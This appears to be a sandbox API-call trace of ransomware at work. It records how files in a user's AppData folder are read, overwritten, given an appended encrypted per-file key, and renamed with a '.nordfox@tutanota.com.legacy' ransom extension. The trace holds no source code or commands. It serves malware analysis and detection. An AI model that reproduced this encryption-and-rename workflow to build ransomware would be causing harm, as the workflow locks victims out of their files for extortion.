[0118.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e417f0 | out: hHeap=0x520000) returned 1 [0118.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0118.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0118.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0118.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0118.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0118.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0118.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0118.037] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\5PuIwJvIS.flv", dwFileAttributes=0x80) returned 1 [0118.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0118.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41960 [0118.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0118.037] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\5PuIwJvIS.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\5puiwjvis.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0118.038] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=11119) returned 1 [0118.038] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2b6f) returned 0x609bd8 [0118.038] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2b6f) returned 0x60c750 [0118.038] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x2b6f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2b6f, lpOverlapped=0x0) returned 1 [0118.039] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-11119, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.039] WriteFile (in: hFile=0x6a8, lpBuffer=0x60c750*, nNumberOfBytesToWrite=0x2b6f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60c750*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2b6f, lpOverlapped=0x0) returned 1 [0118.039] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.039] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c750 | out: hHeap=0x520000) returned 1 [0118.039] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2b6f [0118.039] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.039] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.040] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.040] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.040] CloseHandle (hObject=0x6a8) returned 1 [0118.040] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0118.040] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0118.040] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\5PuIwJvIS.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\5puiwjvis.flv"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\5PuIwJvIS.flv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\5puiwjvis.flv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.042] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41960 | out: hHeap=0x520000) returned 1 [0118.042] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0118.042] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0118.042] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0118.042] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0118.042] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0118.042] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0118.042] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0118.042] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\3vdL0rQ_1x4ZXXzw1.xlsx", dwFileAttributes=0x80) returned 1 [0118.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0118.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0118.043] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0118.043] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\3vdL0rQ_1x4ZXXzw1.xlsx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\3vdl0rq_1x4zxxzw1.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0118.043] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=45869) returned 1 [0118.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb32d) returned 0x609bd8 [0118.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb32d) returned 0x2e41f30 [0118.043] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0xb32d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0xb32d, lpOverlapped=0x0) returned 1 [0118.044] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-45869, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.045] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0xb32d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb32d, lpOverlapped=0x0) returned 1 [0118.045] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.045] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.045] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb32d [0118.045] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.045] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.046] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.046] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.046] CloseHandle (hObject=0x6a8) returned 1 [0118.046] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0118.046] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0118.046] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\3vdL0rQ_1x4ZXXzw1.xlsx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\3vdl0rq_1x4zxxzw1.xlsx"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\3vdL0rQ_1x4ZXXzw1.xlsx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\3vdl0rq_1x4zxxzw1.xlsx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0118.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0118.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0118.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0118.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0118.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0118.048] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3cf0 | out: pbBuffer=0x5c3cf0) returned 1 [0118.048] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0118.049] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\28Du.gif", dwFileAttributes=0x80) returned 1 [0118.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56de48 [0118.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e415c8 [0118.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56de48 | out: hHeap=0x520000) returned 1 [0118.049] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\28Du.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\28du.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0118.049] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=39012) returned 1 [0118.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9864) returned 0x609bd8 [0118.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9864) returned 0x613448 [0118.050] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x9864, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x9864, lpOverlapped=0x0) returned 1 [0118.051] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-39012, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.051] WriteFile (in: hFile=0x6a8, lpBuffer=0x613448*, nNumberOfBytesToWrite=0x9864, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x613448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9864, lpOverlapped=0x0) returned 1 [0118.051] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.051] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x613448 | out: hHeap=0x520000) returned 1 [0118.051] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9864 [0118.051] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.051] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.052] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3cf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.052] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.052] CloseHandle (hObject=0x6a8) returned 1 [0118.052] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0118.052] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0118.052] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\28Du.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\28du.gif"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\28Du.gif.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\28du.gif.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.054] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e415c8 | out: hHeap=0x520000) returned 1 [0118.054] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0118.054] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0118.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567580 [0118.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0118.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0118.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0118.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0118.054] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\1gqIePIojUZd8h.flv", dwFileAttributes=0x80) returned 1 [0118.055] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0118.055] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0118.055] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0118.055] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\1gqIePIojUZd8h.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1gqiepiojuzd8h.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0118.055] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=9903) returned 1 [0118.055] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x26af) returned 0x609bd8 [0118.055] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x26af) returned 0x60c290 [0118.055] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x26af, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x26af, lpOverlapped=0x0) returned 1 [0118.056] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-9903, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.056] WriteFile (in: hFile=0x6a8, lpBuffer=0x60c290*, nNumberOfBytesToWrite=0x26af, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60c290*, lpNumberOfBytesWritten=0x2e1f9bc*=0x26af, lpOverlapped=0x0) returned 1 [0118.057] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.057] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x26af [0118.057] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.057] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.057] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.057] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.058] CloseHandle (hObject=0x6a8) returned 1 [0118.058] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\1gqIePIojUZd8h.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1gqiepiojuzd8h.flv"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\1gqIePIojUZd8h.flv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1gqiepiojuzd8h.flv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.059] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0118.059] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0118.060] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\-GJwjeUmEuPXS0yxP.avi", dwFileAttributes=0x80) returned 1 [0118.060] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5676e8 [0118.060] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0118.060] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\-GJwjeUmEuPXS0yxP.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\-gjwjeumeupxs0yxp.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0118.060] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=22740) returned 1 [0118.060] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x58d4) returned 0x609bd8 [0118.060] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x58d4) returned 0x60f4b8 [0118.061] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x58d4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x58d4, lpOverlapped=0x0) returned 1 [0118.065] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-22740, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.065] WriteFile (in: hFile=0x6a8, lpBuffer=0x60f4b8*, nNumberOfBytesToWrite=0x58d4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60f4b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x58d4, lpOverlapped=0x0) returned 1 [0118.065] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.065] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60f4b8 | out: hHeap=0x520000) returned 1 [0118.065] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x58d4 [0118.066] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.066] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.066] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.066] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.066] CloseHandle (hObject=0x6a8) returned 1 [0118.066] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0118.067] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0118.067] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\-GJwjeUmEuPXS0yxP.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\-gjwjeumeupxs0yxp.avi"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\-GJwjeUmEuPXS0yxP.avi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\-gjwjeumeupxs0yxp.avi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.097] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0118.097] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0118.097] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0118.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0118.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0118.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0118.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5a0 | out: hHeap=0x520000) returned 1 [0118.098] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x406fe300, ftCreationTime.dwHighDateTime=0x1d4d16a, ftLastAccessTime.dwLowDateTime=0x8e4e80, ftLastAccessTime.dwHighDateTime=0x1d4d452, ftLastWriteTime.dwLowDateTime=0xd316e2b2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x567298 [0118.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0118.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0118.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0118.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0118.098] GetLastError () returned 0x0 [0118.098] SetLastError (dwErrCode=0x0) [0118.099] GetLastError () returned 0x0 [0118.099] SetLastError (dwErrCode=0x0) [0118.099] GetLastError () returned 0x0 [0118.099] SetLastError (dwErrCode=0x0) [0118.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0118.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0118.099] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0118.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0118.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567018 [0118.099] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567018 | out: hHeap=0x520000) returned 1 [0118.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201f8 [0118.099] HeapFree (in: hHeap=0x520000, 